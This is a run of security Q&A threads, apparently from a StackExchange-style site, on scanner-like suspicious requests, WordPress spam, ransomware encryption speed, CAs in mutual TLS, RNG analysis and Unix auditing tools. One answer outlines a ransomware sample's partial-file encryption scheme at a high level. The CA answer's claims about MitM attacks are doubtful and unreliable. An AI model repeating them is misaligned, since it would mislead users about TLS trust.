So far, I have been able to confirm that the authenticated requests arrive when the user is actually using the application. That is, the suspect requests arrive among valid requests and my log also shows the users have logged-in. I am now trying to log complete requests, including origin IP-address, HTTP headers and cookies. Not trivial, as my application is behind a reverse proxy server.

In the mean-time I am wondering what could be the origin of these requests, taking into consideration that so many of my users are involved. Could it be:

Much present malware in the browsers of the users?
Other malware on the clients?
Man-in-the-middle attacks?
Malware on the web server?
Malware distributed by my web application, javascript?

Also, the web application is regularly scanned by a McAfee Penetration test tool. This tool does not log in. I have found out that all URLs in suspicious requests, made from user sessions, are also done by McAfee (205 different URLs, so far). McAfee itself, however, uses many others, as well (3300+).
This makes me wonder if the requests from users could get mixed up somewhere in the network, due to caching or whatever, so that I am actually looking at a non-issue. Of course, I have a far bigger issue if requests are mixed up.
On the other hand, the requests are time-correlated with the user sessions, not with the running intervals of the penetration tests and maybe the URLs are just the vulnerabilities malware are looking for.

The list of URLs you're seeing looks similar to ones produced by tools like nikto which request list of potentially vulnerable or known URLs.  Of course a list like this could (and likely is) usuable by malware as well as testing tools like nikto.

One interesting factor in tracing what's doing this would be, what's the user agent on these requests? Many testing tools will have a custom user agent so that they're activity can be detected, while malware will likely try and make it look like a standard users browser string to be less noticable.

Either way it would be more difficult for the tool to completely match the real user browser string, so matching users "usual" user agents with odd requests which appear to come from that user could help you work out what's going on.


Wordpress online pharmacy hack? Possible Duplicate:
  Protecting WordPress installations

anybody knows how to protect your WordPress website from online pharmacy spam, even after deleting all spam files and deleting spam records from DB it returns back after a while

If your referring to spam comments then you might want to check out the WordPress Akismet plugin which checks comments against the Akismet web service to see if they look like spam or not.
Its very good and in a lot of cases eliminates all potential spam. I use it on my blog and in a year its blocked ~4,000 spam comments.


How does malicious software encrypt victims' files so quickly? Encrypting a file to me is akin to dealing with a very long string, feeding it into the hashing or encryption function to get another long encrypted string (or a hash in the case of hashing).

This process takes some good amount of time. I know that because I use HashTab to verify the integrity of the files I download off the Internet.

How can ransomware like CTB-Locker or Crypt0l0cker encrypt their victims files instantly?

Recently a friend of mine was a victim of one of these ransomware and he could NOT open his files/photos from Ubuntu on his dual-OS machine even when the infection happened with MSWindows. This suggests the encryption does not happen on the fly when you open a file.

I was at an OWASP talk where the speaker decompiled and analyzed a ransomware executable (for Windows) in front of us. There are many flavours of ransomware out there, so I can't speak to ransomware in general, but I can certainly talk about the one I saw. The general idea is that the ransomware executable contains the encryption public key needed to encrypt files using an asymmetric algorithm, for example RSA. The corresponding private / decryption key stays with the hackers so that no amount of reverse-engineering of the executable can give you the decryption key.

To actually encrypt a file, it does something similar to:

Skip the first 512 bytes of the file so that the file header stays intact.
Encrypt the next 1 MB using the embedded encryption key.
If the file is longer than this, leave the rest unencrypted.

The point is not to fully hide or protect the data, it's enough to make it un-parseable.

As for time, doing 1 MB of RSA is still slow and will still take several hours to crawl your HDD.

I suspect that this specimen that I saw was just a lazy imitation of the full RSA-AES ransomware that Steffen Ullrich talked about in his answer - which is the one that you should really be worried about.


What is the benefit of public Certificate Authority when using SSL mutual authentication? I was working the other day and I had a question come up, that I want to ask here to make sure my assumptions are correct.

In terms of SSL Mutual Authentication a self signed CA and a public CA provide the same functionality, is that assumption correct?

Besides the part that, supposedly, a public CA is stored much more securely than a private CA, the functionality part is the same, right? Meaning the client will be able to communicate with the server only if both of them have the certificates issued by the same CA and the server has access to the CA, right?

So in this situation, the man-in-the-middle attack is only possible of the attacker has access to the self-signed CA, correct?

And if all of the above assumptions are correct, what is the benefit of using a public CA for ssl mutual authentication? Is it only that it's stored very securely or is there also something else?

Any help is greatly appreciated, thank you!

In terms of SSL Mutual Authentication a self signed CA and a public CA provide the same functionality, is that assumption correct?

Yes.

  Meaning the client will be able to communicate with the server only if both of them have the certificates issued by the same CA and the server has access to the CA, right?

No. The role of the CA is to attest that an entity holding a certificate is entitled to have it. It makes sure that nobody can get a certificate for Google, except Google. That's why a CA exists.

The CA certificate is usually shipped with your OS and your browser. After receiving any certificate, the TLS libraries will check (unless told no to check) if the certificate was issued by a trusted CA, if it's expired or revoked, and here ends the CA involvement.

Mutual authentication does not depend on a CA at all. Does not matter if a certificate is self-signed, issued by a private CA or a public one. It only depends on the certificates. If I create a certificate myself on my computer, ship it to you and you configure your server to talk to me, it's done.

  So in this situation, the man-in-the-middle attack is only possible of the attacker has access to the self-signed CA, correct?

No, a MitM attack can only be conducted if someone steals the private key of both the certificates (client AND server). If they steal the client's certificate, they can impersonate the client to the server, but not the other way around.


Tools and methods for analyzing RNGs What are the common tools and methods used for analyzing and attacking Random Number Generators?

I know what characteristics make a good RNG and what a good RNG should do but I do not know how to analyze a RNG when I treat it like a black-box.

The generic tests for randomness are the "Diehard suite", but they don't ensure security. These are tests which detect biases in PRNG output. Security is about defeating intelligent attackers who know the internal details of the software you use and can think a lot; statistical tests are mindless automaton which just find the most blatant deviations from pure randomness. So if a statistical suite like the Diehard tests finds something weird with your RNG, then the PRNG is definitely bad; but if the tests find nothing, then you just don't know whether the PRNG is good or not.

A "black box" is the conceptual representation of a completely unknown algorithm. This does not occur often in practice; arguably, it never occurs. The algorithm implemented by a "black box" is always known or potentially known, if only by identifying the developer and raiding his drawers one night. That's more or less the idea behind Kerckhoffs's principle. Since the "ideal black box situation" does not occur in practice, there is no "commonly applied methodology". Or, if you prefer, the commonly applied methodology against black boxes is to open the box so that it ceases to be black.

A well-documented historical example is the cryptanalysis of the Enigma. The Polish cryptographers who broke the first military versions made a lot of guessing, but also knew the "commercial" versions from which the military Enigma was derived, and this helped them a lot. During the course of the War, considerable effort was devoted to the capture of actual machines and keys -- that's the "open the box" analogy, and it worked.


Tools to test all-around hardness of a Unix installation? I'm looking for tools that will audit a very simple Unix (Linux or BSD) installation, identify vulnerabilities, and perhaps give suggestions for fixing them.

I realize that "penetration testing" can get pretty involved, and that there are many specialized tools for it, but I just want to test a minimal, dedicated home system (like the one I described in this earlier post), so I'm hoping to find tools that can do a reliable all-around security audit on such a simple system, perhaps after automatically running a collection (the larger the better) of standard tests.

On the defensive side, try Lynis
It does a nice job of assessing the defensive posture, looks at settings, what's listening, ports, services, common problematic patterns, etc.